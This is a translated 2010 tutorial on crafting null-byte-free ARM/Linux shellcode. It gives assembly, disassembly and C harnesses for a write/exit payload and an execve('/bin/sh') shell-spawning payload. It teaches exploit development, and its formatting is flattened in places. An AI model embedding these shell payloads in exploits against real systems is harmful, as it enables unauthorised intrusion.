Title: [English] How to create a shellcode on ARM architecture ? Language: English Author: Jonathan Salwan - twitter: @shell_storm Translated by: Arona Ndiaye Date: 2010-11-25 Original version: http://howto.shell-storm.org/files/howto-4-en.php I - Introduction to the ARM architecture ========================================= The ARM architecture was originally conceived for a computer sold by Acorn. It morphed to then become an independent offer in the market of Embedded Computing. ARM is the acronym for Advanced Risk Machine, formerly known as Acorn Risk Machine. The most famous core is the ARM7TDMI which is graced with 3 pipeline levels. The ARM7TDMI even has a second set of instructions called THUMB which allows 16-bits addressing, and significant memory gains especially in the field of embedded computing. The ARM architecture is also quite present in the field of Mobile Computing. Numerous operating systems have been ported to that architecture. A non-exhaustive list includes: Linux (used by Maemo on the N900 and Android on the Nexus One), Symbian S60 with the Nokia N97 or Samsung Player HD, iPhone with the iPhone and iPad and Windows Mobile. ARM Ltd followed up by releasing the ARM9 core which shifted to a five stage pipeline, reducing the number of logical operations per clock cycle and therefore nearly doubling the clock frequency. II - ARM/Linux shellcode: first attempt ======================================== For the remainder of this document, all tests are assumed to be running on a ARM926EJ-S core. Let's start by having a look at the register conventions. Register Alt. Name Usage r0 a1 First function argument Integer function result Scratch register r1 a2 Second function argument Scratch register r2 a3 Third function argument Scratch register r3 a4 Fourth function argument Scratch register r4 v1 Register variable r5 v2 Register variable r6 v3 Register variable r7 v4 Register variable r8 v5 Register variable r9 v6 rfp Register variable Real frame pointer r10 sl Stack limit r11 fp Argument pointer r12 ip Temporary workspace r13 sp Stack pointer r14 lr Link register Workspace r15 pc Program counter So registers r0 to r3 will be dealing with function parameters. Registers r4 to r9 will be for variables. On the other hand register r7 will store the address of the Syscall to execute. Register r13 points to the stack and register r15 points to the next address to execute. These two registers can be compared to the ESP and EIP registers under x86, even though register operations greatly differ between ARM and x86. Let's start by writing a shellcode that will first call the syscall _write and then the _exit one. We first need to know the address of the syscalls. We'll do as we usually do: root@ARM9:~# cat /usr/include/asm/unistd.h | grep write #define __NR_write (__NR_SYSCALL_BASE+ 4) #define __NR_writev (__NR_SYSCALL_BASE+146) #define __NR_pwrite64 (__NR_SYSCALL_BASE+181) #define __NR_pciconfig_write (__NR_SYSCALL_BASE+273) root@ARM9:~# cat /usr/include/asm/unistd.h | grep exit #define __NR_exit (__NR_SYSCALL_BASE+ 1) #define __NR_exit_group (__NR_SYSCALL_BASE+248) Ok, so we have 4 for _write and 1 for _exit. We know that _write consumes three arguments: write(int __fd, __const void *__buf, size_t __n) Which gives us: r0 => 1 (output) r1 => shell-storm.org\n (string) r2 => 16 (strlen(string)) r7 => 4 (syscall) r0 => 0 r7 => 1 Here's what we get in assembly: root@ARM9:/home/jonathan/shellcode/write# cat write.s .section .text .global _start _start: # _write() mov r2, #16 mov r1, pc <= r1 = pc add r1, #24 <= r1 = pc + 24 (which points to our string) mov r0, $0x1 mov r7, $0x4 svc 0 # _exit() sub r0, r0, r0 mov r7, $0x1 svc 0 .ascii "shell-storm.org\n" root@ARM9:/home/jonathan/shellcode/write# as -o write.o write.s root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o root@ARM9:/home/jonathan/shellcode/write# ./write shell-storm.org root@ARM9:/home/jonathan/shellcode/write# root@ARM9:/home/jonathan/shellcode/write# strace ./write execve("./write", ["./write"], [/* 17 vars */]) = 0 write(1, "shell-storm.org\n"..., 16shell-storm.org ) = 16 exit(0) Everything seems to work fine so far, however in order create our shellcode, we should have no null bytes, and our code is full of them. root@ARM9:/home/jonathan/shellcode/write# objdump -d write write: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e3a02010 mov r2, #16 ; 0x10 8058: e1a0100f mov r1, pc 805c: e2811018 add r1, r1, #24 8060: e3a00001 mov r0, #1 ; 0x1 8064: e3a07004 mov r7, #4 ; 0x4 8068: ef000000 svc 0x00000000 806c: e0400000 sub r0, r0, r0 8070: e3a07001 mov r7, #1 ; 0x1 8074: ef000000 svc 0x00000000 8078: 6c656873 stclvs 8, cr6, [r5], #-460 807c: 74732d6c ldrbtvc r2, [r3], #-3436 8080: 2e6d726f cdpcs 2, 6, cr7, cr13, cr15, {3} 8084: 0a67726f beq 19e4a48 <__data_start+0x19d49c0> Under ARM, we have what is called the THUMB MODE which allows us to use 16 bits addressing for our calls as opposed to 32 bits, which does simplify our life at this stage. root@ARM9:/home/jonathan/shellcode/write# cat write.s .section .text .global _start _start: .code 32 # Thumb-Mode on add r6, pc, #1 bx r6 .code 16 # _write() mov r2, #16 mov r1, pc add r1, #12 mov r0, $0x1 mov r7, $0x4 svc 0 # _exit() sub r0, r0, r0 mov r7, $0x1 svc 0 .ascii "shell-storm.org\n" root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o root@ARM9:/home/jonathan/shellcode/write# ./write shell-storm.org When compiling, please use "-mthumb" to indicate that we are switching to "Thumb Mode". The astute reader will have noticed that I have changed the value of the constant being added to r1. Instead of the original "add r1, #24", I'm doing "add r1, #12" since we have now switched to "thumb mode", the address where my chain is at, has been halved. Let's see what that gives us in terms of null bytes. root@ARM9:/home/jonathan/shellcode/write# objdump -d write write: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 2210 movs r2, #16 805e: 4679 mov r1, pc 8060: 310c adds r1, #12 8062: 2001 movs r0, #1 8064: 2704 movs r7, #4 8066: df00 svc 0 8068: 1a00 subs r0, r0, r0 806a: 2701 movs r7, #1 806c: df00 svc 0 806e: 6873 ldr r3, [r6, #4] 8070: 6c65 ldr r5, [r4, #68] 8072: 2d6c cmp r5, #108 8074: 7473 strb r3, [r6, #17] 8076: 726f strb r7, [r5, #9] 8078: 2e6d cmp r6, #109 807a: 726f strb r7, [r5, #9] 807c: 0a67 lsrs r7, r4, #9 That's better, all that we have left now to do is to modify the following instructions: "svc 0" and "sub r0, r0, r0". For SVC we'll use "svc 1" which is perfect in this case. For "sub r0, r0, r0", the goal is to place 0 in register r0, however we cannot do a "mov r0, #0" as that will include a null byte. The only trick so far that I've come across is: sub r4, r4, r4 mov r0, r4 Which gives us: root@ARM9:/home/jonathan/shellcode/write# cat write.s .section .text .global _start _start: .code 32 # Thumb-Mode on add r6, pc, #1 bx r6 .code 16 # _write() mov r2, #16 mov r1, pc add r1, #14 <==== We changed the address again, since in exit() we've added mov r0, $0x1 instructions which messed it all up. mov r7, $0x4 svc 1 # _exit() sub r4, r4, r4 mov r0, r4 mov r7, $0x1 svc 1 .ascii "shell-storm.org\n" root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o root@ARM9:/home/jonathan/shellcode/write# ./write shell-storm.org root@ARM9:/home/jonathan/shellcode/write# strace ./write execve("./write", ["./write"], [/* 17 vars */]) = 0 write(1, "shell-storm.org\n"..., 16shell-storm.org ) = 16 exit(0) = ? root@ARM9:/home/jonathan/shellcode/write# objdump -d write write: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 ; 0x1 8058: e12fff16 bx r6 805c: 2210 movs r2, #16 805e: 4679 mov r1, pc 8060: 310e adds r1, #14 8062: 2001 movs r0, #1 8064: 2704 movs r7, #4 8066: df01 svc 1 8068: 1b24 subs r4, r4, r4 806a: 1c20 adds r0, r4, #0 806c: 2701 movs r7, #1 806e: df01 svc 1 8070: 6873 ldr r3, [r6, #4] 8072: 6c65 ldr r5, [r4, #68] 8074: 2d6c cmp r5, #108 8076: 7473 strb r3, [r6, #17] 8078: 726f strb r7, [r5, #9] 807a: 2e6d cmp r6, #109 807c: 726f strb r7, [r5, #9] 807e: 0a67 lsrs r7, r4, #9 Here we are, we've got an operational shellcode without any null bytes. In C that gives us: root@ARM9:/home/jonathan/shellcode/write/C# cat write.c #include char *SC = "\x01\x60\x8f\xe2" "\x16\xff\x2f\xe1" "\x10\x22" "\x79\x46" "\x0e\x31" "\x01\x20" "\x04\x27" "\x01\xdf" "\x24\x1b" "\x20\x1c" "\x01\x27" "\x01\xdf" "\x73\x68" "\x65\x6c" "\x6c\x2d" "\x73\x74" "\x6f\x72" "\x6d\x2e" "\x6f\x72" "\x67\x0a"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(SC)); (*(void(*)()) SC)(); return 0; } root@ARM9:/home/jonathan/shellcode/write/C# gcc -o write write.c write.c: In function 'main': write.c:28: warning: incompatible implicit declaration of built-in function 'strlen' root@ARM9:/home/jonathan/shellcode/write/C# ./write Length: 44 shell-storm.org III - execv("/bin/sh", ["/bin/sh"], 0) ======================================= Now let's study a shellcode called execve(). The structure should look like this: r0 => "//bin/sh" r1 => "//bin/sh" r2 => 0 r7 => 11 root@ARM9:/home/jonathan/shellcode/shell# cat shell.s .section .text .global _start _start: .code 32 // add r3, pc, #1 // This whole section is for "Thumb Mode" bx r3 // .code 16 // mov r0, pc // We place the address of pc in r0 add r0, #10 // and add 10 to it (which then makes it point to //bin/sh) str r0, [sp, #4] // we place it on the stack (in case we need it again) add r1, sp, #4 // we move what was on the stack to r1 sub r2, r2, r2 // we subtract r2 from itself (which is the same as placing 0 in r2) mov r7, #11 // syscall execve in r7 svc 1 // we execute .ascii "//bin/sh" root@ARM9:/home/jonathan/shellcode/shell# as -mthumb -o shell.o shell.s root@ARM9:/home/jonathan/shellcode/shell# ld -o shell shell.o root@ARM9:/home/jonathan/shellcode/shell# ./shell # exit root@ARM9:/home/jonathan/shellcode/shell# We can verify that the shellcode contains no null bytes !! 8054: e28f3001 add r3, pc, #1 8058: e12fff13 bx r3 805c: 4678 mov r0, pc 805e: 300a adds r0, #10 8060: 9001 str r0, [sp, #4] 8062: a901 add r1, sp, #4 8064: 1a92 subs r2, r2, r2 8066: 270b movs r7, #11 8068: df01 svc 1 806a: 2f2f cmp r7, #47 806c: 6962 ldr r2, [r4, #20] 806e: 2f6e cmp r7, #110 8070: 6873 ldr r3, [r6, #4] So this is it, to find more ARM shellcodes please browse to: http://www.shell-storm.org/search/index.php?shellcode=arm IV - References ================ [x] http://www.shell-storm.org [1] http://fr.wikipedia.org/wiki/Architecture_ARM [2] http://nibbles.tuxfamily.org/?p=620 [3] The ARM Instruction Set (http://www.shell-storm.org/papers/files/664.pdf) [4] ARM Addressing Modes Quick Reference Card (http://www.shell-storm.org/papers/files/663.pdf)